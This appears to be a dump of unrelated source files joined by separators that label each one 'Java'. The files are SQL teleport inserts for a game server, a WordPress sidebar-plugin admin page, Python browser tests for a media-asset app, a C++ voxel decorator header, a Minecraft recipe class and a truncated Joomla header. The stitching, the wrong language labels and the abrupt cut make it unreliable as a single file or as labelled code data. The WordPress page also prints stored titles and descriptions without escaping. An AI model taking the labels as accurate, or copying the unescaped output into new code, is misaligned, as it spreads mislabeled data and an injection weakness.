INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10075, -5086.68, -1702.21, 497.885, 4.13885, 0, 'KTK');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10074, -9826.97, 2567.91, 22.2774, 5.93439, 1, 'sadnessel');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10073, -10772.1, 2183.32, 3.33876, 0.029769, 1, 'Chaussette');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10072, 238.79, 869.559, 121.7, 4.87649, 0, 'retrieval');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10071, 5129.85, -3800.41, 1971.05, 1.68194, 1, 'Sommethyjal');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10070, 2383.68, -5645.17, 421.806, 0.779895, 0, 'acherus');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10069, 1497.92, -24.0304, 421.368, 0.014686, 603, 'vousetesmauvais');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10068, 1497.92, -24.0304, 421.368, 0.014686, 603, 'dansulduar');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10067, 7526.79, 1834.83, 685.055, 4.72038, 571, 'testmog');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10066, -108.961, 25.2245, -63.3502, 0.005686, 13, 'test1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10065, 3009.27, -5086.37, 732.537, 6.00983, 571, 'noel');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10064, -10738.7, 2437.38, 7.05442, 3.31185, 1, 'Agmagor');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10063, 2166.08, -4706.11, 74.8039, 3.82289, 0, 'Event Maz');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10062, -8621.1, 742.933, 96.7918, 3.11445, 0, 'orphelinally');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10061, -11820.1, -4744.13, 6.74256, 3.52564, 1, 'iledemograine');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10060, 16232.3, 16403.5, -64.3789, 3.07557, 1, 'tribunal');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10059, -9713.21, -4642.26, 19.9119, 2.68797, 1, 'bateau3');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10058, -9712.6, -4641.17, 19.6332, 3.73647, 1, 'bateau4');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10057, -10049.2, -4546.71, 42.0294, 6.07974, 1, 'bns1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10056, -9464.41, -4706.54, 54.9513, 0.999026, 1, 'BNS');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10055, 16053.3, 16198.8, 5.92209, 3.72675, 1, 'bateau0');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10054, -9638.28, -4686.16, 17.9324, 3.75439, 1, 'bateau2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10053, 16224.2, 16173, 10.164, 5.82628, 1, 'bateau1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10052, 5745.47, 3097.24, 316.595, 4.90944, 571, 'faible');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10051, -11350.6, -4728.47, 6.18444, 3.08188, 1, 'Ile tanaris');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10050, -4765.19, -1665.34, 503.324, 0.32606, 0, 'aeroport');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10049, 5706.63, 3427.42, 300.842, 1.67478, 571, 'zonetelemaillon2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10048, 5710.54, 3389.96, 300.842, 4.82737, 571, 'zonetelemaillon');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10047, -4732.56, -1546.22, 98.3497, 0.52324, 1, 'Cocabox');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10046, 1023.59, 288.158, 332.004, 3.54831, 37, 'agmaevent');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10045, -4819.33, -974.58, 464.709, 0.691372, 0, 'QGdworkin');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10044, 323.337, 169.505, 234.944, 5.14283, 37, 'eventunnutz');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10043, -4816.21, -971.918, 464.709, 3.87829, 0, 'QG2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10042, 5062.36, -5572.05, 0.000176, 5.09297, 530, 'dworkin11');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10041, 5058.07, -5561.33, 0.000176, 5.09689, 530, 'zonetest');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10040, 4130.36, -3669.49, 45.5482, 1.08652, 0, 'dworkin10');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10039, -2923.34, -3609.87, 178.876, 3.82757, 0, 'dworkin9');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10038, -4244.13, -4503.6, 131.407, 0.238299, 0, 'dworkin8');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10037, -6991.95, 1114.32, 131.396, 3.17022, 0, 'dworkin7*');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10036, -7637.5, -105.542, 59.4568, 0.990743, 0, 'dworkin6');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10035, -7545.66, -1254.35, 481.528, 0.623149, 0, 'dworkin5');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10034, 10374.1, -6408.33, 163.458, 0.226115, 530, 'maisonmograine');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10033, -8680.03, -1167.88, 8.87751, 3.32598, 1, 'enormezone');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10032, -5444.08, -4319.32, 325.784, 2.77644, 1, 'dworkinmj');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10031, 376.233, 866.837, 178.872, 6.21471, 1, 'dworkin4');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10030, 495.349, -737.974, 68.7487, 1.44735, 1, 'dworkin3');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10029, 1736.44, 1934.12, 131.406, 0.371381, 1, 'dworkin2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10028, -5468.38, -4316.08, 86.1112, 3.89956, 1, 'Dworkin');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10027, -4541.9, -1481.95, 88.0295, 2.87846, 1, 'Cocatrone');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10026, -4547.5, -1462.23, 87.4237, 2.7405, 1, 'Cocahorde');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10025, -4561.49, -1502.51, 92.3065, 0.803512, 1, 'Cocaally');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10024, -4556.61, -1484.48, 87.9318, 1.11472, 1, 'Coca');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10023, 1056.12, -4739.21, 131.171, 2.38611, 0, 'Test2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10021, 1877.52, 1392.34, 142.147, 1.68047, 1, 'eventpvp1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10020, -1035.66, 1587.06, 54.0382, 2.58963, 0, 'testgob2');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10019, -1064.93, 1582.08, 66.5807, 3.25722, 0, 'testgob');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10018, 6135.09, 5676.97, 5.15026, 3.86762, 571, 'zonetelebanquet1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10017, 6171.31, 5709.33, 5.15026, 0.721311, 571, 'zonetelebanquet');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10016, -410.464, -12.5369, 308.466, 2.79667, 37, 'zonetelemariage');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10015, 6235.77, 5764.88, -6.33749, 0.869625, 571, 'banquet');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10014, -5232.07, 1041.33, 393.854, 5.33832, 0, 'event1');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10013, -306.878, -306.384, 295.928, 4.68613, 37, 'mariage!');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10012, -229.042, 501.283, 189.958, 4.87649, 0, 'recup');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10011, -9043.14, 375.864, 137.484, 0.795174, 0, 'toursw');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10010, -5534.36, -1355.33, 398.664, 5.13288, 0, 'freya');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10009, 6471.82, 2379.13, 462.567, 3.69145, 571, 'campargent');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10008, 8510.31, 1031.64, 547.301, 5.33137, 571, 'tournoi');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10001, 16197, 16199.6, 10203.5, 0.881942, 1, 'chute');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10000, 16228, 16403.4, -63.8851, 3.59132, 1, 'Gmbox');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (9999, 240.101, 870.046, 121.701, 3.0978, 0, 'hordezone');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (9998, -229.382, 509.039, 189.958, 2.16503, 0, 'allyzone');
| Java |
<?php
/** List with all available otw sitebars
*
*
*/
global $_wp_column_headers;
$_wp_column_headers['toplevel_page_otw-sbm'] = array(
'id' => __( 'Sidebar ID' ),
'title' => __( 'Title' ),
'description' => __( 'Description' )
);
$otw_sidebar_list = get_option( 'otw_sidebars' );
$message = '';
$massages = array();
$messages[1] = 'Sidebar saved.';
$messages[2] = 'Sidebar deleted.';
$messages[3] = 'Sidebar activated.';
$messages[4] = 'Sidebar deactivated.';
if( isset( $_GET['message'] ) && isset( $messages[ $_GET['message'] ] ) ){
$message .= $messages[ $_GET['message'] ];
}
$filtered_otw_sidebar_list = array();
if( is_array( $otw_sidebar_list ) && count( $otw_sidebar_list ) ){
foreach( $otw_sidebar_list as $sidebar_key => $sidebar_item ){
if( $sidebar_item['replace'] == '' ){
$filtered_otw_sidebar_list[ $sidebar_key ] = $sidebar_item;
}
}
}
?>
<div class="updated"><p>Check out the <a href="http://otwthemes.com/online-documentation-widgetize-pages-light/?utm_source=wp.org&utm_medium=admin&utm_content=docs&utm_campaign=wpl">Online documentation</a> for this plugin<br /><br /> Upgrade to the full version of <a href="http://codecanyon.net/item/sidebar-widget-manager-for-wordpress/2287447?ref=OTWthemes">Sidebar and Widget Manager</a> | <a href="http://otwthemes.com/demos/1ts/?item=Sidebar%20Widget%20Manager&utm_source=wp.org&utm_medium=admin&utm_content=upgrade&utm_campaign=wpl">Demo site</a><br /><br />
<a href="http://otwthemes.com/widgetizing-pages-in-wordpress-can-be-even-easier-and-faster?utm_source=wp.org&utm_medium=admin&utm_content=site&utm_campaign=wpl">Create responsive layouts in minutes, drag & drop interface, feature rich.</a></p></div>
<?php if ( $message ) : ?>
<div id="message" class="updated"><p><?php echo $message; ?></p></div>
<?php endif; ?>
<div class="wrap">
<div id="icon-edit" class="icon32"><br/></div>
<h2>
<?php _e('Available Custom Sidebars') ?>
<a class="button add-new-h2" href="<?php echo admin_url( 'admin.php?page=otw-wpl-add'); ?>">Add New</a>
</h2>
<form class="search-form" action="" method="get">
</form>
<br class="clear" />
<?php if( is_array( $filtered_otw_sidebar_list ) && count( $filtered_otw_sidebar_list ) ){?>
<table class="widefat fixed" cellspacing="0">
<thead>
<tr>
<?php foreach( $_wp_column_headers['toplevel_page_otw-sbm'] as $key => $name ){?>
<th><?php echo $name?></th>
<?php }?>
</tr>
</thead>
<tfoot>
<tr>
<?php foreach( $_wp_column_headers['toplevel_page_otw-sbm'] as $key => $name ){?>
<th><?php echo $name?></th>
<?php }?>
</tr>
</tfoot>
<tbody>
<?php foreach( $filtered_otw_sidebar_list as $sidebar_item ){?>
<tr>
<?php foreach( $_wp_column_headers['toplevel_page_otw-sbm'] as $column_name => $column_title ){
$edit_link = admin_url( 'admin.php?page=otw-wpl&action=edit&sidebar='.$sidebar_item['id'] );
$delete_link = admin_url( 'admin.php?page=otw-wpl-action&sidebar='.$sidebar_item['id'].'&action=delete' );
switch($column_name) {
case 'cb':
echo '<th scope="row" class="check-column"><input type="checkbox" name="itemcheck[]" value="'. esc_attr($sidebar_item['id']) .'" /></th>';
break;
case 'id':
echo '<td><strong><a href="'.$edit_link.'" title="'.esc_attr(sprintf(__('Edit “%s”'), $sidebar_item['id'])).'">'.$sidebar_item['id'].'</a></strong><br />';
echo '<div class="row-actions">';
echo '<a href="'.$edit_link.'">' . __('Edit') . '</a>';
echo ' | <a href="'.$delete_link.'">' . __('Delete'). '</a>';
echo '</div>';
echo '</td>';
break;
case 'title':
echo '<td>'.$sidebar_item['title'].'</td>';
break;
case 'description':
echo '<td>'.$sidebar_item['description'].'</td>';
break;
}
}?>
</tr>
<?php }?>
</tbody>
</table>
<div class="updated einfo"><p><?php _e( 'Create as many sidebars as you need. Then add them in your pages/posts/template files. Here is how you can add sidebars:<br /><br /> - page/post bellow content using the Grid Manager metabox when you edit your page<br /> - page/post content - select the sidebar you want to insert from the Insert Sidebar ShortCode button in your page/post editor.<br /> - page/post content - copy the shortcode and paste it in the editor of a page/post.<br /> - any page template using the do_shortcode WP function.<br /><br />Use the Sidebar ID to build your shortcodes.<br />Example: [otw_is sidebar=otw-sidebar-1] ' );?></p></div>
<?php }else{ ?>
<p><?php _e('No custom sidebars found.')?></p>
<?php } ?>
</div>
| Java |
from splinter import Browser
from time import sleep
from selenium.common.exceptions import ElementNotVisibleException
from settings import settings
from lib import db
from lib import assets_helper
import unittest
from datetime import datetime, timedelta
asset_x = {
'mimetype': u'web',
'asset_id': u'4c8dbce552edb5812d3a866cfe5f159d',
'name': u'WireLoad',
'uri': u'http://www.wireload.net',
'start_date': datetime.now() - timedelta(days=1),
'end_date': datetime.now() + timedelta(days=1),
'duration': u'5',
'is_enabled': 0,
'nocache': 0,
'play_order': 1,
}
asset_y = {
'mimetype': u'image',
'asset_id': u'7e978f8c1204a6f70770a1eb54a76e9b',
'name': u'Google',
'uri': u'https://www.google.com/images/srpr/logo3w.png',
'start_date': datetime.now() - timedelta(days=1),
'end_date': datetime.now() + timedelta(days=1),
'duration': u'6',
'is_enabled': 1,
'nocache': 0,
'play_order': 0,
}
main_page_url = 'http://foo:bar@localhost:8080'
settings_url = 'http://foo:bar@localhost:8080/settings'
system_info_url = 'http://foo:bar@localhost:8080/system_info'
def wait_for_and_do(browser, query, callback):
not_filled = True
n = 0
while not_filled:
try:
callback(browser.find_by_css(query).first)
not_filled = False
except ElementNotVisibleException, e:
if n > 20:
raise e
n += 1
class WebTest(unittest.TestCase):
def setUp(self):
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
for asset in assets:
assets_helper.delete(conn, asset['asset_id'])
def tearDown(self):
pass
def test_add_asset_url(self):
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, '#add-asset-button', lambda btn: btn.click())
sleep(1)
wait_for_and_do(browser, 'input[name="uri"]', lambda field: field.fill('http://example.com'))
sleep(1)
wait_for_and_do(browser, '#add-form', lambda form: form.click())
sleep(1)
wait_for_and_do(browser, '#save-asset', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['name'], u'http://example.com')
self.assertEqual(asset['uri'], u'http://example.com')
self.assertEqual(asset['mimetype'], u'webpage')
self.assertEqual(asset['duration'], settings['default_duration'])
def test_edit_asset(self):
with db.conn(settings['database']) as conn:
assets_helper.create(conn, asset_x)
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, '.edit-asset-button', lambda btn: btn.click())
sleep(1)
wait_for_and_do(browser, 'input[name="duration"]', lambda field: field.fill('333'))
sleep(1) # wait for new-asset panel animation
wait_for_and_do(browser, '#add-form', lambda form: form.click())
sleep(1)
wait_for_and_do(browser, '#save-asset', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['duration'], u'333')
def test_add_asset_image_upload(self):
image_file = '/tmp/image.png'
with Browser() as browser:
browser.visit(main_page_url)
browser.find_by_id('add-asset-button').click()
sleep(1)
wait_for_and_do(browser, 'a[href="#tab-file_upload"]', lambda tab: tab.click())
wait_for_and_do(browser, 'input[name="file_upload"]', lambda input: input.fill(image_file))
sleep(1) # wait for new-asset panel animation
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['name'], u'image.png')
self.assertEqual(asset['mimetype'], u'image')
self.assertEqual(asset['duration'], settings['default_duration'])
def test_add_asset_video_upload(self):
video_file = '/tmp/video.flv'
with Browser() as browser:
browser.visit(main_page_url)
browser.find_by_id('add-asset-button').click()
sleep(1)
wait_for_and_do(browser, 'a[href="#tab-file_upload"]', lambda tab: tab.click())
wait_for_and_do(browser, 'input[name="file_upload"]', lambda input: input.fill(video_file))
sleep(1) # wait for new-asset panel animation
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['name'], u'video.flv')
self.assertEqual(asset['mimetype'], u'video')
self.assertEqual(asset['duration'], u'54')
def test_add_two_assets_upload(self):
video_file = '/tmp/video.flv'
image_file = '/tmp/image.png'
with Browser() as browser:
browser.visit(main_page_url)
browser.find_by_id('add-asset-button').click()
sleep(1)
wait_for_and_do(browser, 'a[href="#tab-file_upload"]', lambda tab: tab.click())
wait_for_and_do(browser, 'input[name="file_upload"]', lambda input: input.fill(image_file))
wait_for_and_do(browser, 'input[name="file_upload"]', lambda input: input.fill(video_file))
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 2)
self.assertEqual(assets[0]['name'], u'image.png')
self.assertEqual(assets[0]['mimetype'], u'image')
self.assertEqual(assets[0]['duration'], settings['default_duration'])
self.assertEqual(assets[1]['name'], u'video.flv')
self.assertEqual(assets[1]['mimetype'], u'video')
self.assertEqual(assets[1]['duration'], u'54')
def test_add_asset_streaming(self):
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, '#add-asset-button', lambda btn: btn.click())
sleep(1)
wait_for_and_do(browser, 'input[name="uri"]', lambda field: field.fill('rtmp://localhost:1935/app/video.flv'))
sleep(1)
wait_for_and_do(browser, '#add-form', lambda form: form.click())
sleep(1)
wait_for_and_do(browser, '#save-asset', lambda btn: btn.click())
sleep(10) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['name'], u'rtmp://localhost:1935/app/video.flv')
self.assertEqual(asset['uri'], u'rtmp://localhost:1935/app/video.flv')
self.assertEqual(asset['mimetype'], u'streaming')
self.assertEqual(asset['duration'], settings['default_streaming_duration'])
def test_rm_asset(self):
with db.conn(settings['database']) as conn:
assets_helper.create(conn, asset_x)
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, '.delete-asset-button', lambda btn: btn.click())
wait_for_and_do(browser, '.confirm-delete', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 0)
def test_enable_asset(self):
with db.conn(settings['database']) as conn:
assets_helper.create(conn, asset_x)
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, 'span[class="on"]', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['is_enabled'], 1)
def test_disable_asset(self):
with db.conn(settings['database']) as conn:
_asset_x = asset_x.copy()
_asset_x['is_enabled'] = 1
assets_helper.create(conn, _asset_x)
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, 'span[class="off"]', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['is_enabled'], 0)
def test_reorder_asset(self):
with db.conn(settings['database']) as conn:
_asset_x = asset_x.copy()
_asset_x['is_enabled'] = 1
assets_helper.create(conn, _asset_x)
assets_helper.create(conn, asset_y)
with Browser() as browser:
browser.visit(main_page_url)
asset_x_for_drag = browser.find_by_id(asset_x['asset_id'])
sleep(1)
asset_y_to_reorder = browser.find_by_id(asset_y['asset_id'])
asset_x_for_drag.drag_and_drop(asset_y_to_reorder)
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
x = assets_helper.read(conn, asset_x['asset_id'])
y = assets_helper.read(conn, asset_y['asset_id'])
self.assertEqual(x['play_order'], 0)
self.assertEqual(y['play_order'], 1)
def test_settings_page_should_work(self):
with Browser() as browser:
browser.visit(settings_url)
self.assertEqual(browser.is_text_present('Error: 500 Internal Server Error'), False,
'500: internal server error not expected')
def test_system_info_page_should_work(self):
with Browser() as browser:
browser.visit(system_info_url)
self.assertEqual(browser.is_text_present('Error: 500 Internal Server Error'), False,
'500: internal server error not expected')
| Java |
/*
* Copyright (C) 2012-2017 Jacob R. Lifshay
* This file is part of Voxels.
*
* Voxels is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Voxels is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Voxels; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
*/
#ifndef COBBLESTONE_SPIKE_H_INCLUDED
#define COBBLESTONE_SPIKE_H_INCLUDED
#include "generate/decorator.h"
#include "generate/decorator/pregenerated_instance.h"
#include "block/builtin/cobblestone.h"
#include "util/global_instance_maker.h"
namespace programmerjake
{
namespace voxels
{
namespace Decorators
{
namespace builtin
{
class CobblestoneSpikeDecorator : public DecoratorDescriptor
{
friend class global_instance_maker<CobblestoneSpikeDecorator>;
private:
CobblestoneSpikeDecorator() : DecoratorDescriptor(L"builtin.cobblestone_spike", 1, 1000)
{
}
public:
static const CobblestoneSpikeDecorator *pointer()
{
return global_instance_maker<CobblestoneSpikeDecorator>::getInstance();
}
static DecoratorDescriptorPointer descriptor()
{
return pointer();
}
/** @brief create a DecoratorInstance for this decorator in a chunk
*
* @param chunkBasePosition the base position of the chunk to generate in
* @param columnBasePosition the base position of the column to generate in
* @param surfacePosition the surface position of the column to generate in
* @param lock_manager the WorldLockManager
* @param chunkBaseIterator a BlockIterator to chunkBasePosition
* @param blocks the blocks for this chunk
* @param randomSource the RandomSource
* @param generateNumber a number that is different for each decorator in a chunk (use for
*picking a different position each time)
* @return the new DecoratorInstance or nullptr
*
*/
virtual std::shared_ptr<const DecoratorInstance> createInstance(
PositionI chunkBasePosition,
PositionI columnBasePosition,
PositionI surfacePosition,
WorldLockManager &lock_manager,
BlockIterator chunkBaseIterator,
const BlocksGenerateArray &blocks,
RandomSource &randomSource,
std::uint32_t generateNumber) const override
{
std::shared_ptr<PregeneratedDecoratorInstance> retval =
std::make_shared<PregeneratedDecoratorInstance>(
surfacePosition, this, VectorI(-5, 0, -5), VectorI(11, 10, 11));
for(int i = 0; i < 5; i++)
{
retval->setBlock(VectorI(0, i, 0), Block(Blocks::builtin::Cobblestone::descriptor()));
}
for(int i = 5; i < 10; i++)
{
retval->setBlock(VectorI(5 - i, i, 0),
Block(Blocks::builtin::Cobblestone::descriptor()));
retval->setBlock(VectorI(i - 5, i, 0),
Block(Blocks::builtin::Cobblestone::descriptor()));
retval->setBlock(VectorI(0, i, 5 - i),
Block(Blocks::builtin::Cobblestone::descriptor()));
retval->setBlock(VectorI(0, i, i - 5),
Block(Blocks::builtin::Cobblestone::descriptor()));
}
return retval;
}
};
}
}
}
}
#endif // COBBLESTONE_SPIKE_H_INCLUDED
| Java |
package speiger.src.api.common.recipes.squezingCompressor.parts;
import net.minecraft.item.ItemStack;
import net.minecraft.world.World;
import net.minecraftforge.fluids.FluidStack;
import net.minecraftforge.fluids.FluidTank;
import speiger.src.api.common.recipes.squezingCompressor.EnumRecipeType;
import speiger.src.api.common.recipes.util.RecipeHardness;
import speiger.src.api.common.recipes.util.Result;
public class SqueezerRecipe implements INormalRecipe
{
ItemStack recipeInput;
Result[] result;
public SqueezerRecipe(ItemStack par1, Result...par2)
{
recipeInput = par1;
result = par2;
}
@Override
public ItemStack getItemInput()
{
return recipeInput;
}
@Override
public FluidStack[] getFluidInput()
{
return null;
}
@Override
public Result[] getResults()
{
return result;
}
@Override
public boolean matches(ItemStack input, FluidTank first, FluidTank second, World world)
{
if(recipeInput.isItemEqual(input) && input.stackSize >= recipeInput.stackSize)
{
return true;
}
return false;
}
@Override
public EnumRecipeType getRecipeType()
{
return EnumRecipeType.Sqeezing;
}
@Override
public void runResult(ItemStack input, FluidTank first, FluidTank second, World world)
{
input.stackSize -= recipeInput.stackSize;
}
@Override
public RecipeHardness getComplexity()
{
return RecipeHardness.Extrem_Easy;
}
}
| Java |
<?php
/**
* @package Joomla.Administrator
* @subpackage com_newsfeeds
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Newsfeeds\Administrator\View\Newsfeeds;
\defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
